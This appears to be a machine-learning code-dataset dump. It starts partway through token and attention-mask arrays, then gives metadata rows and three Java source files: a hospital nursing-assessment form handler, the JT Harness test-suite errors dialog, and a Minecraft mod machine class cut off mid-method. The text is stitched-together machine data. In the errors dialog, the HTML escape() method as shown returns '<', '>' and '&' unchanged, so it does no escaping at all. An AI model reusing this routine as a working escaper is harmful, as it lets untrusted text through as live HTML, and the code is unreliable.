221,
620,
23869,
1563,
64,
222,
221,
130,
499,
221,
942,
782,
758,
23859,
1563,
45,
1563,
23869,
1563,
46,
320,
376,
221,
597,
51,
26894,
1563,
299,
23869,
1563,
64,
222,
221,
130,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 876
| true
| 73.86702
| true
| true
|
Handlers.java
|
/FileExtraction/Java_unseen/IMS-MAXIMS_openMAXIMS/Source Library/openmaxims_workspace/SpinalInjuries/src/ims/spinalinjuries/forms/nurassessmentcleansing/Handlers.java
|
//#############################################################################
//# #
//# Copyright (C) <2015> <IMS MAXIMS> #
//# #
//# This program is free software: you can redistribute it and/or modify #
//# it under the terms of the GNU Affero General Public License as #
//# published by the Free Software Foundation, either version 3 of the #
//# License, or (at your option) any later version. #
//# #
//# This program is distributed in the hope that it will be useful, #
//# but WITHOUT ANY WARRANTY; without even the implied warranty of #
//# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the #
//# GNU Affero General Public License for more details. #
//# #
//# You should have received a copy of the GNU Affero General Public License #
//# along with this program. If not, see <http://www.gnu.org/licenses/>. #
//# #
//# IMS MAXIMS provides absolutely NO GUARANTEE OF THE CLINICAL SAFTEY of #
//# this program. Users of this software do so entirely at their own risk. #
//# IMS MAXIMS only ensures the Clinical Safety of unaltered run-time #
//# software that it builds, deploys and maintains. #
//# #
//#############################################################################
//#EOH
// This code was generated by Barbara Worwood using IMS Development Environment (version 1.80 build 5589.25814)
// Copyright (C) 1995-2015 IMS MAXIMS. All rights reserved.
// WARNING: DO NOT MODIFY the content of this file
package ims.spinalinjuries.forms.nurassessmentcleansing;
import ims.framework.delegates.*;
abstract public class Handlers implements ims.framework.UILogic, IFormUILogicCode
{
abstract protected void bindcmbBathingPatternLookup();
abstract protected void defaultcmbBathingPatternLookupValue();
abstract protected void bindgrdHygienecolAbilityLookup();
abstract protected void bindgrdDressingcolAbilityLookup();
abstract protected void onFormOpen() throws ims.framework.exceptions.PresentationLogicException;
abstract protected void oncmbBathingPatternValueSet(Object value);
abstract protected void onBtnCancelClick() throws ims.framework.exceptions.PresentationLogicException;
abstract protected void onBtnSaveClick() throws ims.framework.exceptions.PresentationLogicException;
abstract protected void onLnkInfoClick() throws ims.framework.exceptions.PresentationLogicException;
abstract protected void onChkCopyValueChanged() throws ims.framework.exceptions.PresentationLogicException;
public final void setContext(ims.framework.UIEngine engine, GenForm form)
{
this.engine = engine;
this.form = form;
this.form.setFormOpenEvent(new FormOpen()
{
private static final long serialVersionUID = 1L;
public void handle(Object[] args) throws ims.framework.exceptions.PresentationLogicException
{
bindLookups();
onFormOpen();
}
});
this.form.cmbBathingPattern().setValueSetEvent(new ComboBoxValueSet()
{
private static final long serialVersionUID = 1L;
public void handle(Object value)
{
oncmbBathingPatternValueSet(value);
}
});
this.form.btnCancel().setClickEvent(new Click()
{
private static final long serialVersionUID = 1L;
public void handle() throws ims.framework.exceptions.PresentationLogicException
{
onBtnCancelClick();
}
});
this.form.btnSave().setClickEvent(new Click()
{
private static final long serialVersionUID = 1L;
public void handle() throws ims.framework.exceptions.PresentationLogicException
{
onBtnSaveClick();
}
});
this.form.lnkInfo().setClickEvent(new Click()
{
private static final long serialVersionUID = 1L;
public void handle() throws ims.framework.exceptions.PresentationLogicException
{
onLnkInfoClick();
}
});
this.form.chkCopy().setValueChangedEvent(new ValueChanged()
{
private static final long serialVersionUID = 1L;
public void handle() throws ims.framework.exceptions.PresentationLogicException
{
onChkCopyValueChanged();
}
});
}
protected void bindLookups()
{
bindcmbBathingPatternLookup();
bindgrdHygienecolAbilityLookup();
bindgrdDressingcolAbilityLookup();
}
protected void rebindAllLookups()
{
bindcmbBathingPatternLookup();
bindgrdHygienecolAbilityLookup();
bindgrdDressingcolAbilityLookup();
}
protected void defaultAllLookupValues()
{
defaultcmbBathingPatternLookupValue();
}
public void free()
{
this.engine = null;
this.form = null;
}
protected ims.framework.UIEngine engine;
protected GenForm form;
}
| 5,232
|
Java
|
.java
|
IMS-MAXIMS/openMAXIMS
| 61
| 50
| 23
|
2014-06-12T12:04:02Z
|
2020-07-31T09:34:49Z
|
308cffcc3ea7d37f7423f69f57196d5395608c174110cee57258b9d8492a46d6
|
[
325,
19989,
8689,
222,
16802,
42053,
607,
222,
16802,
244,
2657,
327,
72,
46,
350,
55,
53,
54,
58,
67,
244,
350,
2348,
88,
7490,
2348,
88,
67,
22768,
607,
222,
16802,
42053,
607,
222,
16802,
244,
1369,
3477,
458,
3760,
2951,
63,
863,
902,
14081,
580,
480,
52,
290,
5370,
281,
607,
222,
16802,
244,
580,
1549,
341,
5974,
451,
341,
6994,
30994,
6153,
5062,
1196,
641,
2281,
607,
222,
16802,
244,
9582,
829,
341,
7834,
3870,
7120,
49,
3173,
1522,
244,
56,
451,
341,
981,
607,
222,
16802,
244,
1196,
49,
575,
327,
288,
1390,
2489,
46,
1364,
6146,
1522,
51,
10094,
607,
244,
222,
16802,
42053,
607,
222,
16802,
244,
1369,
3477,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
2052,
607,
222,
16802,
244,
1294,
4213,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
2281,
607,
222,
16802,
244,
7934,
575,
8114,
4800,
418,
7848,
7763,
51,
244,
2819,
341,
1485,
607,
222,
16802,
244,
6994,
30994,
6153,
5062,
1196,
456,
1851,
4261,
51,
7223,
607,
222,
16802,
42053,
607,
222,
16802,
244,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
30994,
6153,
5062,
1196,
607,
222,
16802,
244,
7979,
642,
477,
3477,
51,
244,
1691,
666,
49,
2337,
350,
544,
574,
1516,
51,
10627,
51,
1107,
52,
4205,
28699,
283,
607,
222,
16802,
42053,
607,
222,
16802,
244,
457,
2758,
7490,
2348,
88,
7388,
39501,
4452,
26147,
802,
946,
1731,
74,
2258,
2906,
5052,
540,
12634,
377,
5999,
1731,
94,
451,
283,
607,
222,
16802,
244,
477,
3477,
51,
244,
14213,
451,
477,
2951,
764,
1278,
22793,
840,
3641,
4387,
19916,
51,
244,
607,
222,
16802,
244,
457,
2758,
7490,
2348,
88,
1773,
26085,
341,
409,
1823,
1599,
377,
21778,
451,
725,
17776,
337,
1441,
50,
1021,
370,
607,
222,
16802,
244,
2951,
708,
580,
13968,
49,
428,
44513,
480,
48573,
51,
10094,
607,
222,
16802,
42053,
607,
222,
325,
19989,
8689,
222,
16802,
10207,
77,
222,
325,
1369,
1361,
1616,
4741,
829,
11489,
39305,
643,
290,
21100,
1493,
457,
2758,
15606,
10584,
327,
1687,
244,
54,
51,
61,
53,
1984,
244,
58,
58,
61,
62,
51,
55,
58,
61,
54,
57,
46,
222,
325,
2657,
327,
72,
46,
244,
54,
62,
62,
58,
50,
55,
53,
54,
58,
457,
2758,
7490,
2348,
88,
51,
3381,
4760,
5225,
51,
222,
325,
18226,
63,
4103,
2387,
24110,
341,
1813,
451,
477,
822,
222,
222,
1337,
3987,
120,
51,
438,
871,
48171,
324,
753,
51,
8543,
51,
40374,
31250,
2845,
711,
318,
64,
222,
222,
485,
3987,
120,
51,
2863,
51,
31071,
1218,
7737,
222,
222,
9431,
581,
462,
17414,
6669,
4584,
3987,
120,
51,
2863,
51,
2299,
12281,
49,
457,
1260,
2299,
12281,
1241,
222,
128,
222,
221,
9431,
2532,
782,
5119,
30721,
71,
569,
318,
5526,
10138,
492,
222,
221,
9431,
2532,
782,
1263,
30721,
71,
569,
318,
5526,
10138,
899,
492,
222,
221,
9431,
2532,
782,
5119,
46481,
15394,
5140,
2126,
770,
22130,
10138,
492,
222,
221,
9431,
2532,
782,
5119,
46481,
73,
734,
318,
770,
22130,
10138,
492,
222,
221,
9431,
2532,
782,
563,
1260,
2981,
365,
2589,
3987,
120,
51,
2863,
51,
11453,
51,
21407,
12281,
1002,
64,
222,
221,
9431,
2532,
782,
563,
30721,
71,
569,
318,
5526,
899,
903,
45,
976,
804,
312,
222,
221,
9431,
2532,
782,
563,
8103,
7034,
2668,
365,
2589,
3987,
120,
51,
2863,
51,
11453,
51,
21407,
12281,
1002,
64,
222,
221,
9431,
2532,
782,
563,
8103,
5134,
2668,
365,
2589,
3987,
120,
51,
2863,
51,
11453,
51,
21407,
12281,
1002,
64,
222,
221,
9431,
2532,
782,
563,
17875,
112,
1139,
2668,
365,
2589,
3987,
120,
51,
2863,
51,
11453,
51,
21407,
12281,
1002,
64,
222,
221,
9431,
2532,
782,
563,
46605,
4014,
36729,
365,
2589,
3987,
120,
51,
2863,
51,
11453,
51,
21407,
12281,
1002,
64,
499,
221,
942,
1175,
782,
758,
1237,
45,
16178,
51,
2863,
51,
2299,
3726,
6894,
49,
9928,
1260,
2252,
46,
222,
221,
128,
376,
221,
597,
51,
3502,
299,
6894,
64,
376,
221,
597,
51,
618,
299,
2252,
64,
1332,
221,
597,
51,
618,
51,
489,
1260,
2981,
1167,
45,
909,
3735,
2981,
365,
376,
221,
128,
374,
221,
2072,
924,
1175,
1964,
19896,
299,
244,
54,
81,
64,
374,
221,
942,
782,
2902,
45,
976,
1197,
2194,
46,
2589,
3987,
120,
51,
2863,
51,
11453,
51,
21407,
12281,
1002,
374,
221,
128,
621,
221,
2555,
7767,
9026,
492,
621,
221,
286,
1260,
2981,
492,
374,
221,
130,
376,
221,
1933,
376,
221,
597,
51,
618,
51,
30721,
71,
569,
318,
5526,
941,
11534,
903,
1167,
45,
909,
35379,
1723,
899,
903,
365,
376,
221,
128,
374,
221,
2072,
924,
1175,
1964,
19896,
299,
244,
54,
81,
64,
374,
221,
942,
782,
2902,
45,
976,
804,
46,
374,
221,
128,
621,
221,
286,
30721,
71,
569,
318,
5526,
899,
903,
45,
872,
312,
374,
221,
130,
376,
221,
1933,
376,
221,
597,
51,
618,
51,
2578,
7034,
941,
489,
2668,
1167,
45,
909,
11862,
365,
376,
221,
128,
374,
221,
2072,
924,
1175,
1964,
19896,
299,
244,
54,
81,
64,
374,
221,
942,
782,
2902,
365,
2589,
3987,
120,
51,
2863,
51,
11453,
51,
21407,
12281,
1002,
374,
221,
128,
621,
221,
286,
8103,
7034,
2668,
492,
374,
221,
130,
376,
221,
1933,
376,
221,
597,
51,
618,
51,
2578,
5134,
941,
489,
2668,
1167,
45,
909,
11862,
365,
376,
221,
128,
374,
221,
2072,
924,
1175,
1964,
19896,
299,
244,
54,
81,
64,
374,
221,
942,
782,
2902,
365,
2589,
3987,
120,
51,
2863,
51,
11453,
51,
21407,
12281,
1002,
374,
221,
128,
621,
221,
286,
8103,
5134,
2668,
492,
374,
221,
130,
376,
221,
1933,
376,
221,
597,
51,
618,
51,
15849,
1139,
941,
489,
2668,
1167,
45,
909,
11862,
365,
376,
221,
128,
374,
221,
2072,
924,
1175,
1964,
19896,
299,
244,
54,
81,
64,
374,
221,
942,
782,
2902,
365,
2589,
3987,
120,
51,
2863,
51,
11453,
51,
21407,
12281,
1002,
374,
221,
128,
621,
221,
286,
17875,
112,
1139,
2668,
492,
374,
221,
130,
376,
221,
1933,
376,
221,
597,
51,
618,
51,
16657,
4014,
941,
11534,
3663,
1167,
45,
909,
3867,
3663,
365,
376,
221,
128,
374,
221,
2072,
924,
1175,
1964,
19896,
299,
244,
54,
81,
64,
374,
221,
942,
782,
2902,
365,
2589,
3987,
120,
51,
2863,
51,
11453,
51,
21407,
12281,
1002,
374,
221,
128,
621,
221,
286,
46605,
4014,
36729,
492,
374,
221,
130,
376,
221,
1933,
222,
221,
130,
222,
221,
5332,
782,
5119,
7767,
9026,
365,
222,
221,
128,
376,
221,
2555,
30721,
71,
569,
318,
5526,
10138,
492,
376,
221,
2555,
46481,
15394,
5140,
2126,
770,
22130,
10138,
492,
376,
221,
2555,
46481,
73,
734,
318,
770,
22130,
10138,
492,
222,
221,
130,
222,
221,
5332,
782,
334,
2555,
1947,
7767,
9026,
365,
222,
221,
128,
376,
221,
2555,
30721,
71,
569,
318,
5526,
10138,
492,
376,
221,
2555,
46481,
15394,
5140,
2126,
770,
22130,
10138,
492,
376,
221,
2555,
46481,
73,
734,
318,
770,
22130,
10138,
492,
222,
221,
130,
222,
221,
5332,
782,
1263,
1947,
10138,
3367,
365,
222,
221,
128,
376,
221,
1555,
30721,
71,
569,
318,
5526,
10138,
899,
492,
222,
221,
130,
499,
221,
942,
782,
3760,
365,
222,
221,
128,
376,
221,
597,
51,
3502,
299,
762,
64,
376,
221,
597,
51,
618,
299,
762,
64,
222,
221,
130,
222,
221,
5332,
3987,
120,
51,
2863,
51,
2299,
3726,
6894,
64,
222,
221,
5332,
9928,
1260,
2252,
64,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 1,247
| true
| 63.246524
| true
| true
|
TestSuiteErrorsDialog.java
|
/FileExtraction/Java_unseen/openjdk_jtharness/src/com/sun/javatest/exec/TestSuiteErrorsDialog.java
|
/*
* $Id$
*
* Copyright (c) 2001, 2009, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation. Oracle designates this
* particular file as subject to the "Classpath" exception as provided
* by Oracle in the LICENSE file that accompanied this code.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
package com.sun.javatest.exec;
import com.sun.javatest.TestFinder;
import com.sun.javatest.TestSuite;
import com.sun.javatest.tool.ToolDialog;
import com.sun.javatest.tool.UIFactory;
import javax.swing.BorderFactory;
import javax.swing.JButton;
import javax.swing.JEditorPane;
import javax.swing.JScrollPane;
import java.awt.Component;
import java.awt.Dimension;
class TestSuiteErrorsDialog extends ToolDialog {
private TestSuite testSuite;
private JEditorPane body;
TestSuiteErrorsDialog(Component parent, UIFactory uif) {
super(parent, uif, "tse");
}
public void show(TestSuite ts) {
testSuite = ts;
StringBuilder sb = new StringBuilder();
sb.append("<html><body style=\"font-family: SansSerif; font-size: 12pt\">");
if (testSuite == null) {
sb.append(uif.getI18NString("tse.head.noTestSuite"));
} else {
TestFinder tf = testSuite.getTestFinder();
if (tf.getErrorCount() == 0) {
sb.append(uif.getI18NString("tse.head.noErrs"));
} else {
sb.append(uif.getI18NString("tse.head.errs"));
sb.append("<ul>");
String[] errors = tf.getErrors();
for (String error : errors) {
sb.append("<li>");
sb.append(escape(error));
}
sb.append("</ul>");
}
}
sb.append("</body>");
sb.append("</html>");
// would be nice to have more incremental update here;
// might have to rethink use of HTML
if (body == null) {
initGUI();
}
body.setText(sb.toString());
setVisible(true);
}
@Override
protected void initGUI() {
setHelp("browse.testSuiteErrors.csh");
setI18NTitle("tse.title");
body = new JEditorPane();
body.setName("tse");
body.setContentType("text/html");
body.setEditable(false);
body.setBorder(BorderFactory.createEmptyBorder(5, 5, 5, 5));
JScrollPane sp = uif.createScrollPane(body);
int dpi = uif.getDotsPerInch();
sp.setPreferredSize(new Dimension(6 * dpi, 3 * dpi));
setBody(sp);
JButton helpBtn = uif.createHelpButton("tse.help", "browse.testSuiteErrors.csh");
JButton closeBtn = uif.createCloseButton("tse.close");
setButtons(new JButton[]{helpBtn, closeBtn}, closeBtn);
}
private String escape(String s) {
for (int i = 0; i < s.length(); i++) {
switch (s.charAt(i)) {
case '<':
case '>':
case '&':
StringBuilder sb = new StringBuilder(s.length() * 2);
for (int j = 0; j < s.length(); j++) {
char c = s.charAt(j);
switch (c) {
case '<':
sb.append("<");
break;
case '>':
sb.append(">");
break;
case '&':
sb.append("&");
break;
default:
sb.append(c);
}
}
return sb.toString();
}
}
return s;
}
}
| 4,721
|
Java
|
.java
|
openjdk/jtharness
| 12
| 19
| 5
|
2019-05-15T06:47:58Z
|
2024-04-24T11:26:25Z
|
380ac1a16a474471c69fbb018aeaef20ae96f1a730f1fe779266933a46ace005
|
[
1127,
222,
338,
417,
625,
41,
222,
338,
222,
338,
2657,
327,
104,
46,
244,
55,
53,
53,
54,
49,
244,
55,
53,
53,
62,
49,
17980,
480,
52,
290,
2840,
25094,
51,
3381,
4760,
5225,
51,
222,
338,
4103,
2387,
23740,
1895,
35234,
8995,
2387,
11988,
1895,
8968,
10961,
30441,
51,
222,
338,
222,
338,
1369,
1361,
458,
3760,
2951,
64,
863,
902,
14081,
580,
480,
52,
290,
5370,
580,
222,
338,
1549,
341,
5974,
451,
341,
6994,
6153,
5062,
1196,
1522,
244,
55,
1773,
49,
641,
222,
338,
9582,
829,
341,
7834,
3870,
7120,
51,
244,
17980,
6759,
1218,
477,
222,
338,
8445,
822,
641,
5405,
391,
341,
332,
44978,
39,
3773,
641,
3961,
222,
338,
829,
17980,
347,
341,
7621,
822,
708,
20854,
297,
4850,
477,
1361,
51,
222,
338,
222,
338,
1369,
1361,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
1294,
4213,
222,
338,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
7934,
575,
222,
338,
8114,
4800,
418,
7848,
7763,
51,
244,
2819,
341,
6994,
6153,
5062,
1196,
222,
338,
1522,
244,
55,
456,
1851,
4261,
327,
102,
1948,
458,
5976,
347,
341,
7621,
822,
708,
222,
338,
20854,
297,
4850,
477,
1361,
566,
222,
338,
222,
338,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
6153,
5062,
1196,
1522,
222,
338,
244,
55,
7979,
642,
477,
1409,
64,
434,
666,
49,
2886,
391,
341,
7834,
3870,
7120,
49,
222,
338,
6367,
4345,
244,
58,
54,
34113,
1277,
49,
33316,
26912,
49,
25006,
49,
13083,
244,
53,
55,
54,
54,
53,
50,
54,
56,
53,
54,
15067,
51,
222,
338,
222,
338,
5304,
7272,
17980,
49,
244,
58,
53,
53,
17980,
27004,
3094,
49,
4777,
21100,
2432,
6868,
49,
10562,
244,
62,
57,
53,
59,
58,
15067,
222,
338,
575,
7739,
19955,
51,
11116,
51,
527,
434,
863,
1868,
5408,
2490,
575,
1178,
1364,
222,
338,
10034,
51,
222,
588,
222,
1337,
785,
51,
9886,
51,
11741,
5104,
51,
2510,
64,
222,
222,
485,
785,
51,
9886,
51,
11741,
5104,
51,
1024,
15868,
64,
222,
485,
785,
51,
9886,
51,
11741,
5104,
51,
25484,
64,
222,
485,
785,
51,
9886,
51,
11741,
5104,
51,
3749,
51,
3670,
3742,
64,
222,
485,
785,
51,
9886,
51,
11741,
5104,
51,
3749,
51,
2299,
2232,
64,
222,
222,
485,
3698,
51,
5934,
51,
7263,
2232,
64,
222,
485,
3698,
51,
5934,
51,
32880,
64,
222,
485,
3698,
51,
5934,
51,
79,
4836,
7586,
64,
222,
485,
3698,
51,
5934,
51,
79,
29314,
64,
222,
485,
1401,
51,
8236,
51,
1735,
64,
222,
485,
1401,
51,
8236,
51,
9884,
64,
222,
222,
842,
2128,
10911,
7362,
3742,
2041,
10023,
3742,
320,
465,
964,
2128,
10911,
913,
10911,
64,
303,
964,
990,
4836,
7586,
3376,
64,
465,
2128,
10911,
7362,
3742,
45,
1735,
2952,
49,
5326,
2232,
1064,
344,
46,
320,
310,
2615,
45,
2562,
49,
1064,
344,
49,
332,
121,
296,
742,
303,
339,
465,
581,
782,
2539,
45,
25484,
8363,
46,
320,
310,
913,
10911,
299,
8363,
64,
603,
9705,
6127,
299,
556,
9705,
492,
310,
6127,
51,
1713,
10379,
935,
789,
1561,
1435,
4097,
2204,
50,
5082,
63,
20606,
830,
344,
64,
2377,
50,
911,
63,
244,
54,
55,
404,
11081,
742,
603,
434,
327,
881,
10911,
630,
762,
46,
320,
343,
6127,
51,
1713,
45,
122,
344,
51,
390,
78,
54,
61,
83,
671,
459,
121,
296,
51,
1843,
51,
1365,
25484,
2992,
310,
339,
832,
320,
343,
2128,
15868,
5369,
299,
913,
10911,
51,
38824,
15868,
492,
343,
434,
327,
4274,
51,
32590,
1552,
365,
630,
244,
53,
46,
320,
419,
6127,
51,
1713,
45,
122,
344,
51,
390,
78,
54,
61,
83,
671,
459,
121,
296,
51,
1843,
51,
1365,
4323,
120,
2992,
343,
339,
832,
320,
419,
6127,
51,
1713,
45,
122,
344,
51,
390,
78,
54,
61,
83,
671,
459,
121,
296,
51,
1843,
51,
33943,
2992,
419,
6127,
51,
1713,
10379,
357,
13510,
2125,
910,
1197,
3896,
299,
5369,
51,
390,
7362,
492,
419,
456,
327,
671,
1067,
518,
3896,
46,
320,
547,
6127,
51,
1713,
10379,
393,
13510,
547,
6127,
51,
1713,
45,
11735,
45,
750,
894,
419,
339,
419,
6127,
51,
1713,
33477,
357,
13510,
343,
339,
310,
339,
310,
6127,
51,
1713,
33477,
1561,
13510,
310,
6127,
51,
1713,
33477,
935,
13510,
603,
453,
2285,
545,
11819,
391,
1178,
1851,
33507,
1991,
2464,
64,
310,
453,
4816,
1178,
391,
334,
16454,
813,
451,
5796,
310,
434,
327,
1561,
630,
762,
46,
320,
343,
3238,
10586,
492,
310,
339,
603,
3376,
51,
6619,
45,
5692,
51,
3127,
1052,
310,
758,
5671,
45,
1527,
312,
303,
339,
465,
496,
1806,
303,
2532,
782,
3238,
10586,
365,
320,
310,
758,
9035,
459,
14296,
51,
881,
10911,
7362,
51,
104,
635,
742,
310,
758,
78,
54,
61,
83,
3188,
459,
121,
296,
51,
1333,
742,
603,
3376,
299,
556,
990,
4836,
7586,
492,
310,
3376,
51,
15779,
459,
121,
296,
742,
310,
3376,
51,
489,
14257,
459,
897,
52,
935,
742,
310,
3376,
51,
489,
21596,
45,
1886,
312,
310,
3376,
51,
38618,
45,
7263,
2232,
51,
1315,
2779,
7263,
45,
58,
49,
244,
58,
49,
244,
58,
49,
244,
58,
894,
603,
990,
29314,
1887,
299,
1064,
344,
51,
1315,
29314,
45,
1561,
312,
310,
648,
34753,
299,
1064,
344,
51,
390,
10026,
120,
1852,
402,
399,
492,
310,
1887,
51,
45046,
45,
909,
17432,
45,
59,
338,
34753,
49,
244,
56,
338,
34753,
894,
310,
758,
3069,
45,
438,
312,
603,
24328,
3071,
8103,
299,
1064,
344,
51,
1315,
9035,
1732,
459,
121,
296,
51,
4771,
411,
332,
14296,
51,
881,
10911,
7362,
51,
104,
635,
742,
310,
24328,
4248,
8103,
299,
1064,
344,
51,
1315,
4187,
1732,
459,
121,
296,
51,
2698,
742,
310,
758,
11557,
45,
909,
24328,
14161,
4771,
8103,
49,
4248,
8103,
855,
4248,
8103,
312,
303,
339,
465,
964,
910,
15821,
45,
671,
328,
46,
320,
310,
456,
327,
429,
613,
299,
244,
53,
64,
613,
350,
328,
51,
1340,
492,
613,
2002,
320,
343,
3593,
327,
120,
51,
15602,
45,
110,
509,
320,
419,
1152,
4161,
972,
419,
1152,
32009,
972,
419,
1152,
15434,
972,
547,
9705,
6127,
299,
556,
9705,
45,
120,
51,
1340,
365,
338,
244,
55,
312,
547,
456,
327,
429,
614,
299,
244,
53,
64,
614,
350,
328,
51,
1340,
492,
614,
2002,
320,
733,
1370,
300,
299,
328,
51,
15602,
45,
111,
312,
733,
3593,
327,
104,
46,
320,
1031,
1152,
4161,
972,
1396,
6127,
51,
1713,
24893,
2176,
26305,
1396,
1644,
64,
1031,
1152,
32009,
972,
1396,
6127,
51,
1713,
24893,
1855,
26305,
1396,
1644,
64,
1031,
1152,
15434,
972,
1396,
6127,
51,
1713,
24893,
778,
26305,
1396,
1644,
64,
1031,
1263,
63,
1396,
6127,
51,
1713,
45,
104,
312,
733,
339,
547,
339,
547,
461,
6127,
51,
3127,
492,
343,
339,
310,
339,
310,
461,
328,
64,
303,
339,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 1,151
| true
| 54.416437
| true
| true
|
TileEntityLargeMassFabricator.java
|
/FileExtraction/Java_unseen/GregTechCEu_gregicality-legacy/src/main/java/gregicadditions/machines/multi/uumatter/TileEntityLargeMassFabricator.java
|
package gregicadditions.machines.multi.uumatter;
import gregicadditions.GAConfig;
import gregicadditions.capabilities.GregicAdditionsCapabilities;
import gregicadditions.client.ClientHandler;
import gregicadditions.item.GAMetaBlocks;
import gregicadditions.item.GAMultiblockCasing;
import gregicadditions.item.components.*;
import gregicadditions.item.metal.MetalCasing2;
import gregicadditions.machines.multi.CasingUtils;
import gregicadditions.machines.multi.simple.LargeSimpleRecipeMapMultiblockController;
import gregicadditions.recipes.GARecipeMaps;
import gregtech.api.metatileentity.MetaTileEntity;
import gregtech.api.metatileentity.MetaTileEntityHolder;
import gregtech.api.metatileentity.multiblock.IMultiblockPart;
import gregtech.api.metatileentity.multiblock.MultiblockAbility;
import gregtech.api.multiblock.BlockPattern;
import gregtech.api.multiblock.FactoryBlockPattern;
import gregtech.api.multiblock.PatternMatchContext;
import gregtech.api.recipes.RecipeMap;
import gregtech.api.render.ICubeRenderer;
import gregtech.api.render.OrientedOverlayRenderer;
import gregtech.common.blocks.BlockBoilerCasing;
import gregtech.common.blocks.BlockMultiblockCasing;
import gregtech.common.blocks.BlockWireCoil;
import gregtech.common.blocks.MetaBlocks;
import net.minecraft.block.state.IBlockState;
import net.minecraft.util.ResourceLocation;
import javax.annotation.Nonnull;
public class TileEntityLargeMassFabricator extends LargeSimpleRecipeMapMultiblockController {
private static final MultiblockAbility<?>[] ALLOWED_ABILITIES = {
MultiblockAbility.IMPORT_ITEMS, MultiblockAbility.IMPORT_FLUIDS,
MultiblockAbility.EXPORT_FLUIDS, MultiblockAbility.INPUT_ENERGY,
GregicAdditionsCapabilities.MAINTENANCE_HATCH
};
public TileEntityLargeMassFabricator(ResourceLocation metaTileEntityId, RecipeMap<?> recipeMap) {
super(metaTileEntityId, recipeMap,
GAConfig.multis.largeMassFabricator.euPercentage,
GAConfig.multis.largeMassFabricator.durationPercentage,
GAConfig.multis.largeMassFabricator.chancedBoostPercentage,
GAConfig.multis.largeMassFabricator.stack);
}
public MetaTileEntity createMetaTileEntity(MetaTileEntityHolder holder) {
return new TileEntityLargeMassFabricator(this.metaTileEntityId, GARecipeMaps.MASS_FAB_RECIPES);
}
@Override
protected BlockPattern createStructurePattern() {
return FactoryBlockPattern.start()
